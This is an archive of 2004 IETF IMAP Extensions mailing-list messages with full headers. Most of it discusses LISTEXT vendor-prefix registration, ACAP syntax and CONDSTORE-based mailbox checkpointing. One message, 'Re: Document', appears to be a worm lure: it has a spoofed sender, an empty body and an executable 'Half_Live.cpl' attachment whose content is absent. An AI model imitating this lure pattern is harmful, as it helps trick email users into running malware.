-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Rob Siemborski | Andrew Systems Group * Research Systems Programmer PGP:0x5CE32FCC | Cyert Hall 207 * rjs3@andrew.cmu.edu * 412.268.7456 -----BEGIN GEEK CODE BLOCK---- Version: 3.12 GCS/IT/CM/PA d- s+: a-- C++++$ ULS++++$ P+++$ L+++ E W+ N(-) o? K- w-- O- M-- V-- PS+ PE+ Y+ PGP+ t+@ 5+++ X- R@ tv-- b+ DI+++ D++ G e++ h+ r- y? ------END GEEK CODE BLOCK----- Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4JCXdRu028487; Wed, 19 May 2004 05:33:39 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4JCXdBM028486; Wed, 19 May 2004 05:33:39 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from darius.cyrusoft.com (darius.cyrusoft.com [63.163.82.2]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4JCXcdb028478 for ; Wed, 19 May 2004 05:33:38 -0700 (PDT) (envelope-from daboo@cyrusoft.com) Received: from [10.0.1.3] (pool-141-151-190-157.pitt.east.verizon.net [141.151.190.157]) (authenticated bits=0) by darius.cyrusoft.com (8.12.9/8.12.9) with ESMTP id i4JCVU1F011042 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 19 May 2004 08:31:31 -0400 Date: Wed, 19 May 2004 08:33:36 -0400 From: Cyrus Daboo To: Alexey Melnikov cc: IMAP Extensions WG Subject: Re: Update to LISTEXT draft Message-ID: In-Reply-To: <40AB4AF9.8050608@isode.com> References: <40A6A0CD.5020200@isode.com> <40A82163.2020604@att.com> <40A93D83.6030505@isode.com> <93D22F04215DCC60D6F6628B@ninevah.cyrusoft.com> <40AB4AF9.8050608@isode.com> X-Mailer: Mulberry/3.1.3 (Mac OS X) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Spam-Status: No, hits=0.0 tests=none Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Hi Alexey, --On Wednesday, May 19, 2004 12:54 PM +0100 Alexey Melnikov wrote: > IMHO, it would be good if we can reuse ACAP vendor's registry. As > name-component can contain spaces, the value should be quoted. A quoted > string doesn't allow for non-ascii characters, so it can't be used. But I > can add something that looks like a quoted string, but can contain > non-ascii. > Comments? Why not just define it as an 'astring', that way you can have atom, quoted or literal as fits the data. -- Cyrus Daboo Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4JBskKp025833; Wed, 19 May 2004 04:54:46 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4JBskKS025832; Wed, 19 May 2004 04:54:46 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from rufus.isode.com (rufus.isode.com [62.3.217.251]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4JBsiuj025821 for ; Wed, 19 May 2004 04:54:45 -0700 (PDT) (envelope-from Alexey.Melnikov@isode.com) Received: from isode.com (shiny.isode.com [62.3.217.250]) by rufus.isode.com via TCP (with SMTP (submission)) with ESMTPA; Wed, 19 May 2004 12:54:35 +0100 Message-ID: <40AB4AF9.8050608@isode.com> Date: Wed, 19 May 2004 12:54:33 +0100 From: Alexey Melnikov User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Cyrus Daboo CC: IMAP Extensions WG Subject: Re: Update to LISTEXT draft References: <40A6A0CD.5020200@isode.com> <40A82163.2020604@att.com> <40A93D83.6030505@isode.com> <93D22F04215DCC60D6F6628B@ninevah.cyrusoft.com> In-Reply-To: <93D22F04215DCC60D6F6628B@ninevah.cyrusoft.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Cyrus Daboo wrote: > Hi Alexey, > > --On Monday, May 17, 2004 11:32 PM +0100 Alexey Melnikov > wrote: > >> Another interesting question is how to disallow people from registering >> options under other's vendor prefix. Should I add a template for vendor >> prefix registration? > > > Use the format VND-<>-tag for these and use the ACAP > vendor name registry to ensure unique vendor names - that is what > ANNOTATE etc use for the vendor name registry. The only potential > issue with this is that the vendor names in ACAP are utf8 so you would > need to modify your syntax to allow that instead of just atoms: > > from ACAP: > > name-component = 1*UTF8-CHAR > ;; MUST NOT contain ".", "/", "%", or "*" This must not contain spaces either, unless the value is quoted. > LISTEXT: > > vendor-tag = "VND-" name-component "-" atom > ; a vendor specific tag for extended list data > > option-vendor = "VND-" name-component "-" atom > ; a vendor specific option > > > You might feel adding the utf8 is going a bit too far, in which case > you will have to create your own 'atom' based vendor name registry, > but I think it would be better to try and stick with the ACAP one if > at all possible. IMHO, it would be good if we can reuse ACAP vendor's registry. As name-component can contain spaces, the value should be quoted. A quoted string doesn't allow for non-ascii characters, so it can't be used. But I can add something that looks like a quoted string, but can contain non-ascii. Comments? Alexey Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4IEQ6x9054205; Tue, 18 May 2004 07:26:06 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4IEQ6FA054204; Tue, 18 May 2004 07:26:06 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from darius.cyrusoft.com (darius.cyrusoft.com [63.163.82.2]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4IEQ558054196 for ; Tue, 18 May 2004 07:26:05 -0700 (PDT) (envelope-from daboo@cyrusoft.com) Received: from ninevah.cyrusoft.com (ninevah.cyrusoft.com [63.163.82.9]) (authenticated bits=0) by darius.cyrusoft.com (8.12.9/8.12.9) with ESMTP id i4IEO81F019163 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 18 May 2004 10:24:09 -0400 Date: Tue, 18 May 2004 10:26:06 -0400 From: Cyrus Daboo To: Ken Murchison , IMAP Extensions WG Subject: Re: checkpoint Message-ID: In-Reply-To: <40AA0B05.2010703@oceana.com> References: <40A9C52A.8070308@ehsco.com> <40AA0B05.2010703@oceana.com> X-Mailer: Mulberry/3.1.3 (Mac OS X) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Spam-Status: No, hits=0.0 tests=none Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Hi Ken, --On Tuesday, May 18, 2004 9:09 AM -0400 Ken Murchison wrote: >> We've talked before about the troubles with using IMAP to open very large >> folders over long and/or thin pipes -- the synch time is death. I'm >> running into this more often and am about to the point where I'm going to >> write up a checkpoint mechanism of some kind that does basic "here's a >> marker; only send me changes made afterwards". > > Maybe I'm missing the intent, but can't CONDSTORE be used for this > purpose? See Section 3.3.1 of > http://www.ietf.org/internet-drafts/draft-ietf-imapext-condstore-05.txt CONDSTORE is missing one vital feature - the ability to indicate which messages have been expunged since the last 'checkpoint'. Without that clients have to get the entire UID list to find out which messages to expunge from their local cache. So CONDSTORE is not quite enough, however a viable checkpoint extension can be built on top of CONDSTORE. What I would like to see is the following: 1) require use of UNSELECT. There would be a new 'MODSEQ' parameter to that. Clients that want a checkpoint token when closing a mailbox would use UNSELECT with that parameter and the server would return the checkpoint token appropriate to the final closing state of the mailbox. 2) add a 'CHANGEDSINCE' parameter to SELECT that takes the checkpoint token as an argument. The server would then return two sets of UIDs: one for messages whose state has changed (flags, annotations etc) and one for messages expunged since the checkpoint token. If the checkpoint token provided by the client is older than the history there server maintains, then it can provide an untagged NO and the client will have to fall back to 'traditional' sync methods. This will provide all the sync information in a single round trip. -- Cyrus Daboo Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4IEAxOj053303; Tue, 18 May 2004 07:10:59 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4IEAxlB053302; Tue, 18 May 2004 07:10:59 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from darius.cyrusoft.com (darius.cyrusoft.com [63.163.82.2]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4IEAw6j053295 for ; Tue, 18 May 2004 07:10:59 -0700 (PDT) (envelope-from daboo@cyrusoft.com) Received: from ninevah.cyrusoft.com (ninevah.cyrusoft.com [63.163.82.9]) (authenticated bits=0) by darius.cyrusoft.com (8.12.9/8.12.9) with ESMTP id i4IE901F018879 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 18 May 2004 10:09:00 -0400 Date: Tue, 18 May 2004 10:10:57 -0400 From: Cyrus Daboo To: Alexey Melnikov , Rob Siemborski cc: Tony Hansen , IMAP Extensions WG Subject: Re: Update to LISTEXT draft Message-ID: <556FABA2B1496AA485BB823A@ninevah.cyrusoft.com> In-Reply-To: <40AA14BB.7080209@isode.com> References: <40A6A0CD.5020200@isode.com> <40A82163.2020604@att.com> <40A93D83.6030505@isode.com> <40AA14BB.7080209@isode.com> X-Mailer: Mulberry/3.1.3 (Mac OS X) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Spam-Status: No, hits=0.0 tests=none Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Hi Alexey, --On Tuesday, May 18, 2004 2:50 PM +0100 Alexey Melnikov wrote: >> If there is a generally useful option that a vendor supplies, I think >> it'd be a better approach to standardize it outside of the vendor >> namespace than to say "eh, lets just use it in the vendor namespace". >> > I agree. But I think what will most likely happen is that a vendor > specific option gets registered first, and than a standard one is > registered later on. I don't think vendors should have to register the specific option - only their names. I see vendor options as being more of a private namespace. If a vendors wants an option that is expected to be public, then perhaps use of an 'X-' prefix would be better? -- Cyrus Daboo Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4IE8pnB052889; Tue, 18 May 2004 07:08:51 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4IE8puh052888; Tue, 18 May 2004 07:08:51 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from darius.cyrusoft.com (darius.cyrusoft.com [63.163.82.2]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4IE8o2S052882 for ; Tue, 18 May 2004 07:08:51 -0700 (PDT) (envelope-from daboo@cyrusoft.com) Received: from ninevah.cyrusoft.com (ninevah.cyrusoft.com [63.163.82.9]) (authenticated bits=0) by darius.cyrusoft.com (8.12.9/8.12.9) with ESMTP id i4IE6r1F018852 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 18 May 2004 10:06:53 -0400 Date: Tue, 18 May 2004 10:08:50 -0400 From: Cyrus Daboo To: Alexey Melnikov , Tony Hansen cc: IMAP Extensions WG Subject: Re: Update to LISTEXT draft Message-ID: <93D22F04215DCC60D6F6628B@ninevah.cyrusoft.com> In-Reply-To: <40A93D83.6030505@isode.com> References: <40A6A0CD.5020200@isode.com> <40A82163.2020604@att.com> <40A93D83.6030505@isode.com> X-Mailer: Mulberry/3.1.3 (Mac OS X) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Spam-Status: No, hits=0.0 tests=none Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Hi Alexey, --On Monday, May 17, 2004 11:32 PM +0100 Alexey Melnikov wrote: > Another interesting question is how to disallow people from registering > options under other's vendor prefix. Should I add a template for vendor > prefix registration? Use the format VND-<>-tag for these and use the ACAP vendor name registry to ensure unique vendor names - that is what ANNOTATE etc use for the vendor name registry. The only potential issue with this is that the vendor names in ACAP are utf8 so you would need to modify your syntax to allow that instead of just atoms: from ACAP: name-component = 1*UTF8-CHAR ;; MUST NOT contain ".", "/", "%", or "*" LISTEXT: vendor-tag = "VND-" name-component "-" atom ; a vendor specific tag for extended list data option-vendor = "VND-" name-component "-" atom ; a vendor specific option You might feel adding the utf8 is going a bit too far, in which case you will have to create your own 'atom' based vendor name registry, but I think it would be better to try and stick with the ACAP one if at all possible. -- Cyrus Daboo Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4IDotCv051880; Tue, 18 May 2004 06:50:55 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4IDotXM051879; Tue, 18 May 2004 06:50:55 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from rufus.isode.com (rufus.isode.com [62.3.217.251]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4IDos1J051872 for ; Tue, 18 May 2004 06:50:54 -0700 (PDT) (envelope-from Alexey.Melnikov@isode.com) Received: from isode.com (shiny.isode.com [62.3.217.250]) by rufus.isode.com via TCP (with SMTP (internal)) with ESMTPA; Tue, 18 May 2004 14:50:53 +0100 Message-ID: <40AA14BB.7080209@isode.com> Date: Tue, 18 May 2004 14:50:51 +0100 From: Alexey Melnikov User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Rob Siemborski CC: Tony Hansen , IMAP Extensions WG Subject: Re: Update to LISTEXT draft References: <40A6A0CD.5020200@isode.com> <40A82163.2020604@att.com> <40A93D83.6030505@isode.com> In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Rob Siemborski wrote: >On Mon, 17 May 2004, Alexey Melnikov wrote: > > >>Firstly, I suspect that some vendor specific options might end up being >>used by other implementations as well. So it is important that there is >>a single place where all options are documented. Besides, sending an >>email to IANA for new registrations is not that difficult. >> >> > >If there is a generally useful option that a vendor supplies, I think it'd >be a better approach to standardize it outside of the vendor namespace >than to say "eh, lets just use it in the vendor namespace". > I agree. But I think what will most likely happen is that a vendor specific option gets registered first, and than a standard one is registered later on. >>Another interesting question is how to disallow people from registering >>options under other's vendor prefix. Should I add a template for vendor >>prefix registration? >> >> > >Yes -- you should always have to register the vendor prefix. > Ok, I will add a new template than (or amend the existing one). Alexey Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4IDklso051715; Tue, 18 May 2004 06:46:47 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4IDklWI051714; Tue, 18 May 2004 06:46:47 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from smtp-test.andrew.cmu.edu (SMTP-TEST.andrew.cmu.edu [128.2.6.59]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4IDkknd051707 for ; Tue, 18 May 2004 06:46:46 -0700 (PDT) (envelope-from rjs3@andrew.cmu.edu) Received: from SOURCEFOUR.andrew.cmu.edu (SOURCEFOUR.andrew.cmu.edu [128.2.122.8]) (user=rjs3 mech=GSSAPI (0 bits)) by smtp-test.andrew.cmu.edu (8.12.10/8.12.10) with ESMTP id i4IDklaf011634; Tue, 18 May 2004 09:46:47 -0400 Date: Tue, 18 May 2004 09:46:47 -0400 (EDT) From: Rob Siemborski To: Alexey Melnikov cc: Tony Hansen , IMAP Extensions WG Subject: Re: Update to LISTEXT draft In-Reply-To: <40A93D83.6030505@isode.com> Message-ID: References: <40A6A0CD.5020200@isode.com> <40A82163.2020604@att.com> <40A93D83.6030505@isode.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: On Mon, 17 May 2004, Alexey Melnikov wrote: > Firstly, I suspect that some vendor specific options might end up being > used by other implementations as well. So it is important that there is > a single place where all options are documented. Besides, sending an > email to IANA for new registrations is not that difficult. If there is a generally useful option that a vendor supplies, I think it'd be a better approach to standardize it outside of the vendor namespace than to say "eh, lets just use it in the vendor namespace". > Another interesting question is how to disallow people from registering > options under other's vendor prefix. Should I add a template for vendor > prefix registration? Yes -- you should always have to register the vendor prefix. -Rob -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Rob Siemborski | Andrew Systems Group * Research Systems Programmer PGP:0x5CE32FCC | Cyert Hall 207 * rjs3@andrew.cmu.edu * 412.268.7456 -----BEGIN GEEK CODE BLOCK---- Version: 3.12 GCS/IT/CM/PA d- s+: a-- C++++$ ULS++++$ P+++$ L+++ E W+ N(-) o? K- w-- O- M-- V-- PS+ PE+ Y+ PGP+ t+@ 5+++ X- R@ tv-- b+ DI+++ D++ G e++ h+ r- y? ------END GEEK CODE BLOCK----- Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4ID9bu3049459; Tue, 18 May 2004 06:09:37 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4ID9b2l049458; Tue, 18 May 2004 06:09:37 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from eagle.oceana.com (eagle.oceana.com [208.17.123.12]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4ID9aSk049413 for ; Tue, 18 May 2004 06:09:37 -0700 (PDT) (envelope-from ken@oceana.com) Received: from oceana.com (69-161-93-210.bflony.adelphia.net [69.161.93.210]) (authenticated bits=0) by eagle.oceana.com (8.12.11/8.12.11) with ESMTP id i4ID9UAv005230 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT) for ; Tue, 18 May 2004 09:09:32 -0400 (EDT) Message-ID: <40AA0B05.2010703@oceana.com> Date: Tue, 18 May 2004 09:09:25 -0400 From: Ken Murchison Organization: Oceana Matrix Ltd. User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113 X-Accept-Language: en,pdf MIME-Version: 1.0 To: IMAP Extensions WG Subject: Re: checkpoint References: <40A9C52A.8070308@ehsco.com> In-Reply-To: <40A9C52A.8070308@ehsco.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0 () X-Scanned-By: MIMEDefang 2.39 Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Eric A. Hall wrote: > > We've talked before about the troubles with using IMAP to open very large > folders over long and/or thin pipes -- the synch time is death. I'm > running into this more often and am about to the point where I'm going to > write up a checkpoint mechanism of some kind that does basic "here's a > marker; only send me changes made afterwards". Maybe I'm missing the intent, but can't CONDSTORE be used for this purpose? See Section 3.3.1 of http://www.ietf.org/internet-drafts/draft-ietf-imapext-condstore-05.txt -- Kenneth Murchison Oceana Matrix Ltd. Software Engineer 21 Princeton Place 716-662-8973 x26 Orchard Park, NY 14127 --PGP Public Key-- http://www.oceana.com/~ken/ksm.pgp Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4I9ooW0024895; Tue, 18 May 2004 02:50:50 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4I9ooN2024894; Tue, 18 May 2004 02:50:50 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from rufus.isode.com (rufus.isode.com [62.3.217.251]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4I9onkv024867 for ; Tue, 18 May 2004 02:50:49 -0700 (PDT) (envelope-from Alexey.Melnikov@isode.com) Received: from isode.com (shiny.isode.com [62.3.217.250]) by rufus.isode.com via TCP (with SMTP (internal)) with ESMTPA; Tue, 18 May 2004 10:50:45 +0100 Message-ID: <40A93D83.6030505@isode.com> Date: Mon, 17 May 2004 23:32:35 +0100 From: Alexey Melnikov User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Tony Hansen CC: IMAP Extensions WG Subject: Re: Update to LISTEXT draft References: <40A6A0CD.5020200@isode.com> <40A82163.2020604@att.com> In-Reply-To: <40A82163.2020604@att.com> Content-Type: text/plain; charset=KOI8-R; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Tony Hansen wrote: > Alexey Melnikov wrote: > >> I've also added some text regarding option/extended data item naming. >> The text reads: >> A LISTEXT option/extended data item name that starts with "V-" is >> reserved >> for vendor specific options/extended data items. All options, whether >> they are vendor specific or global, should be registered with IANA. >> If a LISTEXT extended data item is returned as a result of requesting >> a particular LISTEXT option, the name of the option SHOULD be used >> as the name of the LISTEXT extended data item. >> LISTEXT option/extended data item names are case insensitive. >> >> Please, let me know if you agree/disagree. >> >> 5) Added Vendor prefix in "options" and "extended data tags". > > > A couple of comments: > > Other vendor namespaces have all used "vnd". Why pick something > different? Ok, what about changing prefix to "VND-"? (I like the dash ;-)). > All other vendor namespaces I can think of are of have one of these > two registration policies: 1) the vendor namespace is registered with > IANA, but individual options under the namespace are NOT registered > with IANA, or 2) the vendor namespace is based on the vendor's domain > name and no registration with IANA is necessary. Why does IANA have to > register ALL options? Why not use one of these registration policies? Firstly, I suspect that some vendor specific options might end up being used by other implementations as well. So it is important that there is a single place where all options are documented. Besides, sending an email to IANA for new registrations is not that difficult. Another interesting question is how to disallow people from registering options under other's vendor prefix. Should I add a template for vendor prefix registration? Alexey Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4I8itSm002941; Tue, 18 May 2004 01:44:55 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4I8itpP002940; Tue, 18 May 2004 01:44:55 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from chiba.org (gateway.pspl.co.in [203.199.147.2]) by above.proper.com (8.12.11/8.12.9) with SMTP id i4I8iqwt002885 for ; Tue, 18 May 2004 01:44:53 -0700 (PDT) (envelope-from ken@oceana.com) Date: Tue, 18 May 2004 14:14:48 +0530 To: "Ietf-imapext" From: "Ken" Subject: Re: Document Message-ID: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="--------rjwbmoctnkapcnxpoiil" Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: ----------rjwbmoctnkapcnxpoiil Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit
----------rjwbmoctnkapcnxpoiil Content-Type: application/octet-stream; name="Half_Live.cpl" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Half_Live.cpl" ----------rjwbmoctnkapcnxpoiil-- Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4I8BQq2091374; Tue, 18 May 2004 01:11:26 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4I8BQ39091372; Tue, 18 May 2004 01:11:26 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from goose.ehsco.com (goose.ehsco.com [207.65.203.98]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4I8BQZZ091362 for ; Tue, 18 May 2004 01:11:26 -0700 (PDT) (envelope-from ehall@ehsco.com) Received: from ehsco.com (ferret.corp.ntrg.com [207.65.71.20]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client CN "Eric A. Hall", Issuer "Network Technology Research Group Certificate Authority" (verified OK)) by goose.ehsco.com (Postfix ) with ESMTP id ACE601E5A4 for ; Tue, 18 May 2004 03:11:25 -0500 (CDT) Message-ID: <40A9C52A.8070308@ehsco.com> Date: Tue, 18 May 2004 03:11:22 -0500 From: "Eric A. Hall" User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.6) Gecko/20040113 X-Accept-Language: en-us, en MIME-Version: 1.0 To: IMAP Extensions WG Subject: checkpoint Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: We've talked before about the troubles with using IMAP to open very large folders over long and/or thin pipes -- the synch time is death. I'm running into this more often and am about to the point where I'm going to write up a checkpoint mechanism of some kind that does basic "here's a marker; only send me changes made afterwards". Any suggestions or thoughts would be good to have right about now. What's a reasonable limit on journal depth, for example. Obviously the journal changes shouldn't exceed the number of messsages, since that's counter productive, but is there some other limit where it stops making sense. What about extension handling, like if a server had negotiated a feature with one client but not this one, but those attributes were recorded in the journal and will be nonsensical if they are played back to the current client. Any other thoughts would be appreciated. Thanks -- Eric A. Hall http://www.ehsco.com/ Internet Core Protocols http://www.oreilly.com/catalog/coreprot/ Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4HJixfM097997; Mon, 17 May 2004 12:44:59 -0700 (PDT) (envelope-from owner-ietf-imapext@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i4HJixQo097996; Mon, 17 May 2004 12:44:59 -0700 (PDT) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-imapext@mail.imc.org using -f Received: from ietf.org (odin.ietf.org [132.151.1.176]) by above.proper.com (8.12.11/8.12.9) with ESMTP id i4HJiwjx097981 for ; Mon, 17 May 2004 12:44:58 -0700 (PDT) (envelope-from dinaras@cnri.reston.va.us) Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA19232; Mon, 17 May 2004 15:45:00 -0400 (EDT) Message-Id: <200405171945.PAA19232@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: i-d-announce@ietf.org Cc: ietf-imapext@imc.org From: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-imapext-list-extensions-06.txt Date: Mon, 17 May 2004 15:45:00 -0400 Sender: owner-ietf-imapext@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Internet Message Access Protocol Extension Working Group of the IETF. Title : IMAP4 LIST Command Extensions Author(s) : B. Leiba Filename : draft-ietf-imapext-list-extensions-06.txt Pages : 0 Date : 2004-5-17 IMAP4 has two commands for listing mailboxes: LIST and LSUB. As we have added extensions that have required specialized lists (see [MboxRefer] for an example) we have had to expand the number of list commands, since each extension must add its function to both LIST and LSUB, and these commands are not, as they are defined, extensible. If we've needed the extensions to work together, we've had to add a set of commands to mix the different options, the set increasing in size with each new extension. This document describes an extension to the base LIST command that will allow these additions to be done with mutually compatible options to the LIST command, avoiding the exponential increase in specialized list commands. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-imapext-list-extensions-06.txt To remove yourself from the I-D Announcement list, send a message to i-d-announce-request@ietf.org with the word unsubscribe in the body of the message. You can also visit https://www1.ietf.org/mailman/listinfo/I-D-announce to change your subscription settings. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-imapext-list-extensions-06.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-imapext-list-extensions-06.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with 